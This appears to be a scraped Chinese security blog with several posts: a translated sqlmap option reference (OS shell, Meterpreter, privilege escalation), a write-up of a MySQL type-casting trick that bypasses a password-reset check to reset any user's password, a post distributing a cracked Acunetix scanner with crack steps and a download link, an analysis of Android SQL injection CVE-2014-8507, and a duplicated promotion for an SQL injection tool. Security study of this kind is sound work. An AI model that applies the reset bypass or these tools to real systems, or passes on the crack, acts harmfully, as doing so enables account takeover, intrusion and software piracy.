svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装sqlmap
*修改环境变量
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP 请求。
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
-c CONFIGFILE 从INI 配置文件中加载选项。
Request(请求)::
这些选项可以用来指定如何连接到目标URL。
–data=DATA 通过POST 发送的数据字符串
–cookie=COOKIE HTTP Cookie 头
–cookie-urlencode URL 编码生成的cookie 注入
–drop-set-cookie 忽略响应的Set –Cookie 头信息
–user-agent=AGENT 指定 HTTP User –Agent 头
–random-agent 使用随机选定的HTTP User –Agent 头
–referer=REFERER 指定 HTTP Referer 头
–headers=HEADERS 换行分开,加入其他的HTTP 头
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP 代理连接到目标URL
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP 代理
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url 地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP 响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS 为此值
–os=OS 强制后端的DBMS 操作系统为这个值
–prefix=PREFIX 注入payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
–technique=TECH SQL 注入技术测试(默认BEUST)
–tiime-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS 当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS 数据库中的表
–columns 枚举DBMS 数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS 数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的SQL 语句
–sql-shell 提示交互式SQL 的shell
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter 或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
–reg-read 读一个Windows 注册表项值
–reg-add 写一个Windows 注册表项值数据
–reg-del 删除Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型
General(一般): 这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新SqlMap
–save file 保存选项到INI 配置文件
–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
–beep 发现SQL 注入时提醒
–check-payload IDS 对注入payloads 的检测测试
–cleanup SqlMap 具体的UDF 和表清理DBMS
–forms 对目标URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
–page-rank Google dork 结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个sqlite3 数据库
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面
MySQL中的一个有趣的逻辑漏洞 渗透测试
遇到MySQL中的一个有趣的逻辑漏洞,给大家分享一下.
某系统数据库是mysql。user表有个code字段,类型是int(11),这个字段是保存一个随机数,用来找回密码的时候做验证,默认值是0。
找回密码时候的步骤是,首先填写自己邮箱,接收重置密码的邮件,点击链接,访问如下代码:
if (!empty($_GET['email']) && !empty($_GET['code'])) { if (!$db->count('user',"email='{$_GET['email']}' AND code='{$_GET['code']}'")) die('error'); $_SESSION['email'] = $_GET['email']; ... }
在数据库中查找email=$_GET['email']并且code=$_GET['code']的行数,如果行数为0则die出去,否则设置$_SESSION['email'] = $_GET['email'];
最后就以$_SESSION['email']内存储的邮箱重置密码。
看似似乎没问题,只有当email为你的email,并且你知道他的随机code的时候,才能不die,才能获得$_SESSION['email']。
但关键问题就是:code的默认值是0,也就是说所有用户只要没有重置过密码,他的code就是0,所以等于说我知道了所有用户的code,那我不就可以重置所有用户的密码了吗?
不不,等下,我们看到这行代码:
if (!empty($_GET['email']) && !empty($_GET['code']))
必须要!empty($_GET['code'])的时候,才可能进入这个if语句。熟悉php的人都知道,empty(0)是返回真的。所以说,如果$_GET['code']=0的话,根本进不来这个if语句。
那怎么办?
我 之前说了,code这个字段的类型是整型int(11)。而在mysql里面,当字段类型为整型,而where语句中的值不为整型的时候,会被转换成整型 才放入查询。也就是说,如果where code='xxx',xxx不为整型的话,则会先将xxx转换成整数,才放入查询。
也就是说,如果我们传入的字符串为0aaa,则会转换成0,再执行。
我们可以来做个试验,
上图大家可以看到,select count(*) from `user` where `id`='0a';和select count(*) from `user` where `id`='0';得到的结果都是1。
所 以通过这个tip,就可以绕过if (!empty($_GET['email']) && !empty($_GET['code'])),只要我们传入的$_GET['code']=0xxx,就可以进入if语句,并且让select count(*)语句返回1,最后找回任意用户密码,不需要爆破。
注:本文属于Mrxn网络转载,原地址:https://www.leavesongs.com/PENETRATION/findpwd-funny-logic-vul.html
渗透扫描器-Acunetix.Web.Vulnerability.Scanner.v9.5-破解版 安全工具
Mrxn提示:本文中的工具只用于学习测试使用,禁止用于非法途径.
Acunetix.Web.Vulnerability.Scanner.v9.5 破解版
====================================================================
软件名称:web.vulnerability.scanner
版本:9.5.2015.19-02零售
释放型:顾问版
最后更新:二月19 2015上午10:38
操作系统:所有Windows系统
开发商:Acunetix
主页:http://www.acunetix.com/
作者不负责该产品的不良使用。
这只是作为学习和研究的目的。
如果你喜欢这个程序,请支持开发商和购买它!!
步骤:
------
1)解压rar文件。
2)安装应用程序
3)替换换crack文件夹里面的东西文件到安装文件目录。
4)打开软件,输入任何注册码,例如9999-9999-9999-9999和任何名字,公司等。
解压缩,直接安装就后,请替换crack文件夹里面的文件到wvs的安装目录,然后随便输入注册码,公司,姓名等信息,OK:
软件更新地址: Mrxn's Blog----https://mrxn.net 解压密码就是博客域名(加上www)
下载地址: 链接: http://pan.baidu.com/s/1sjOEe0P 密码: 6fpy
一条短信控制你的手机! Android平台的SQL注入漏洞浅析 技术文章
0x0前言
14年11月笔者在百度xteam博客中看到其公开了此前报告给Google的CVE-2014-8507漏洞细节——系统代码在处理经由短信承载的WAP推送内容时产生的经典SQL注入漏洞,影响Android 5.0以下的系统。于是对这个漏洞产生了兴趣,想深入分析看看该漏洞的危害,以及是否能够通过一条短信来制作攻击PoC。
在断断续续的研究过程中,笔者发现了SQLite的一些安全特性演变和短信漏洞利用细节,本着技术探讨和共同进步的原则,结合以前掌握的SQLite安全知识一同整理分享出来,同各位安全专家一起探讨Android平台中SQLite的安全性,如有错误之处,也请大家斧正。
0x1起:食之无味,弃之可惜
鼎鼎大名的SQL注入漏洞在服务器上的杀伤力不用多说,可惜虎落平阳被犬欺,SQL注入漏洞在Android平台长期处于比较鸡肋的状态。比较典型的漏洞例子可以参考:http://www.wooyun.org/bugs/wooyun-2014-086899
虽然Android平台大量使用SQLite存储数据导致SQL注入很常见,而SQL注入的发现也相对简单,但其危害十分有限:在无其他漏洞辅助的情况下,需要在受害者的手机上先安装一个恶意APP,通过这个恶意载体才可能盗取有SQL注入漏洞的APP的隐私数据(如图1)。很多人会说,都能够安装恶意APP了,可以利用的漏洞多了,还要你SQL注入干嘛。正是因为这个原因,导致SQL注入漏洞一直不被大家所关注。
0x2承:远程攻击的大杀器
14年TSRC平台的白帽子雪人提出了一种存在已久,在Android平台却鲜未被提起的SQL注入利用方式:load_extension。通过一些简单漏洞的配合,SQL注入漏洞可以达到远程代码执行的可怕威力。
简单来说,为了方便开发者可以很轻便的扩展功能,SQLite从3.3.6版本(http://www.sqlite.org/cgi/src/artifact/71405a8f9fedc0c2)开始提供了支持扩展的能力,通过sqlite_load_extension API(或者load_extensionSQL语句),开发者可以在不改动SQLite源码的情况下,通过动态加载的库(so/dll/dylib)来扩展SQLite的能力。
便利的功能总是最先被黑客利用来实施攻击。借助SQLite动态加载的这个特性,我们仅需要在可以预测的存储路径中预先放置一个覆盖SQLite扩展规范的动态库(Android平台的so库),然后通过SQL注入漏洞调用load_extension,就可以很轻松的激活这个库中的代码,直接形成了远程代码执行漏洞。而在Android平台中有漏洞利用经验的同学应该都很清楚,想要把一个恶意文件下载到手机存储中,有许多实际可操作的方式,例如收到的图片、音频或者视频,网页的图片缓存等。类似的案例笔者也见到过,如下图远程利用SQL注入load_extension在某APP中执行了恶意的SQLite扩展。
0x3转:攻与防的对立统一
也许是SQLite官方也意识到了load_extension API的能力过于强大,在放出load_extension功能后仅20天,就在代码中(http://www.sqlite.org/cgi/src/info/4692319ccf28b0eb)将load_extension的功能设置为默认关闭,需要在代码中通过sqlite3_enable_load_extensionAPI显式打开后方可使用,而此API无法在SQL语句中调用,断绝了利用SQL注入打开的可能性。
凑巧的是,出于功能和优化的原因,Google从 Android 4.1.2开始通过预编译宏SQLITE_OMIT_LOAD_EXTENSION,从代码上直接移除了SQLite动态加载扩展的能力(如图4)。
虽然有了以上两层安全加固,但Android平台的安全问题往往不是这么容易就能够解决的。和Android平台五花八门的机型和系统版本一样,部分手机生厂商和第三方数据库组件并未跟随官方代码来关闭自身代码中SQLite动态加载扩展的能力,默认便可以直接使用SQL注入load_extension,导致这些手机或者APP极易被远程攻击。
总结来说,利用SQLite的load_extension远程实施攻击,适用于4.1.2以前的官方Android版本,或者是部分手机厂商的机器,又或者是使用到某些第三方数据库组件的APP。客观来看,这种攻击手法的攻击面并不算宽,并会随着高版本Android的普及和手机厂商的代码跟进而越来越窄。
那么除了最直接最暴力的load_extension攻击方式之外,SQL注入是不是又变得一无是处了?在魔术师一般的安全人员手里,不管多么不起眼的攻击方式都可能被用到极致。百度xteam的CVE-2014-8507就是一个很好的例子。
0x4合:一条短信就控制你的手机
接下来,我们回到最开始的问题,如何通过一条短信来控制手机?
事实上在看到CVE-2014-8507后,笔者花费了大量时间尝试在标准Android机器中,通过彩信发送恶意so库,随后通过短信激活恶意so库的方式,来实现控制手机。最终由于SQLite自身的sqlite3_enable_load_extension保护和系统代码其他若干个方面的限制,成功在smspush进程完成SQL注入后,却没有办法进一步利用恶意so库,无法完成正在意义上的控制手机。
另外一方面,百度xteam对CVE-2014-8507的利用已经很精彩,结合WAP推送处理代码的特点利用SQL注入提供数据,完成了打开通过短信任意APP的导出Activity的攻击,结合上其他的系统或者APP漏洞,不难达到真正意义上控制手机的效果。
作为狗尾续貂的补充,接下来和大家探讨一下如何在真实手机中通过自行构造PDU给任何Android 5.0以下机器发送含有SQL注入代码的WAP推送消息。
承载攻击的是WAP推送功能,而正常的短信APP无法通过短信发出WAP推送,通过短信群发等其他运营商提供的短信接口,也无法发出WAP推送消息。笔者通过一段时间对短信PDU格式的研究后发现,在Android vendor RIL之上进行一些修改,普通的手机也能够发出WAP推送消息。下图6的sendSMS函数(http://androidxref.com/4.4.4_r1/xref/frameworks/opt/telephony/src/java/com/android/internal/telephony/RIL.java)在每次发送短信前都会被系统调用,其中的第二个参数我们可以得到完整的原始PDU,通过对PDU内容进行一些修改,我们可以把普通的短信变成WAP推送消息。在此位置进行改动,随后PDU在替换后向底层传之后,也能成功的被基带解析并发送,接收方也能成功的接受并处理。
普通短信的PDU中,包含了信息中心的号码,发送方的号码,接收方的号码,时间戳以及短信内容文本(如下图7)。而WAP推送和普通短信的最重要区别,就是WAP推送承载的是WBXML格式的多媒体消息而不是普通文本,通过修改PDU中的类型标志位并附加上WBXML格式的内容,一条合法的WAP推送消息就能成功的从手机中发出。
为了方便测试和演示,笔者写了一个转换WAP推送的Xposed模块(如下图)。激活后,通过短信APP中发送给任何人的普通短信都会自动转换成包含CVE-2014-8507 SQL注入漏洞的WAP推送,自动打开对方手机的设置界面。关键的PDU处理代码请点击这里下载,请勿用于任何非测试用途。
0x5后记:如何使APP的数据库使用更安全
从2014年腾讯整体漏洞的数据来看,跟数据库安全相关的全部都跟SQL注入漏洞有关。因此,能够封堵SQL注入漏洞,基本上就能安全的使用数据库了。下面结合历史漏洞给出以下几点安全建议供大家参考(如果是腾讯的同学就方便多了,我们终端安全团队为业务定制了数据库安全组件):
1. 不直接使用原始SQL语句,而是使用具备预编译参数能力的SQL API;
2. 如果一定要使用原始SQL语句,语句中不应有进行任何字符串拼接的操作;
3. 如非必要,记得主动调用SQL API关闭动态加载扩展的能力;
4. 使用数据加密(如SqlCipher)扩展SQLite数据存储的安全性。
0x6相关链接
[2] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8507
[3] http://xteam.baidu.com/?p=167
[4] http://www.sqlite.org/cgi/src/tree?ci=trunk
[5] https://android.googlesource.com/platform/external/sqlite/
国产SQL注入漏洞测试工具 – 超级SQL注入工具(SSQLInjection) 安全工具
此工具为本人对C#、Socket及HTTP协议、SQL注入进行深入研究后,闲暇时间做的一款SQL注入工具。不说秒SQLMap,直接秒杀什么webcruiser、Safe3SI、pangolin、havij、DSQLTools、明小子等,今后可以扔掉这些过时的工具了。
简介
超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。
目前支持Bool型盲注、错误显示注入、Union注入,支持Access、MySQL5以上版本、SQLServer、Oracle等数据库。
采用C#开发,底层采用Socket发包进行HTTP交互,极大的提升了发包效率,相比C#自带的HttpWebRequest速度提升2-5倍。
支持盲注环境获取世界各国语言数据,直接秒杀各种注入工具在盲注环境下无法支持中文等多字节编码的数据。
工具特点
1.支持任意地点出现的任意SQL注入
2.支持各种语言环境。大多数注入工具在盲注下,无法获取中文等多字节编码字符内容,本工具可完美解决。
3.支持注入数据发包记录。让你了解程序是如何注入,有助于快速学习和找出注入问题。
4.依靠关键字进行盲注,可通过HTTP相应状态码判断,还可以通过关键字取反功能,反过来取关键字。
程序运行需要安装. Net Framework 2.0。运行环境XP、Win7,Win8环境已测试,其他环境请自测。
此工具为本人对C#、Socket及HTTP协议、SQL注入进行深入研究后,闲暇时间做的一款SQL注入工具。不说秒SQLMap,直接秒杀什么webcruiser、Safe3SI、pangolin、havij、DSQLTools、明小子等,今后可以扔掉这些过时的工具了。
简介
超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。
目前支持Bool型盲注、错误显示注入、Union注入,支持Access、MySQL5以上版本、SQLServer、Oracle等数据库。
采用C#开发,底层采用Socket发包进行HTTP交互,极大的提升了发包效率,相比C#自带的HttpWebRequest速度提升2-5倍。
支持盲注环境获取世界各国语言数据,直接秒杀各种注入工具在盲注环境下无法支持中文等多字节编码的数据。
工具特点
1.支持任意地点出现的任意SQL注入
2.支持各种语言环境。大多数注入工具在盲注下,无法获取中文等多字节编码字符内容,本工具可完美解决。
3.支持注入数据发包记录。让你了解程序是如何注入,有助于快速学习和找出注入问题。
4.依靠关键字进行盲注,可通过HTTP相应状态码判断,还可以通过关键字取反功能,反过来取关键字。
程序运行需要安装. Net Framework 2.0。运行环境XP、Win7,Win8环境已测试,其他环境请自测。
注意:使用本工具,需要对SQL注入有一定了解,工具使用需要人工参与,非全自动SQL注入工具。
声明:此工具为提供个人、站长、企业发现自身信息安全问题,请勿使用工具对他人信息系统进行测试,产生的法律效应与作者无关。谢谢。
官方下载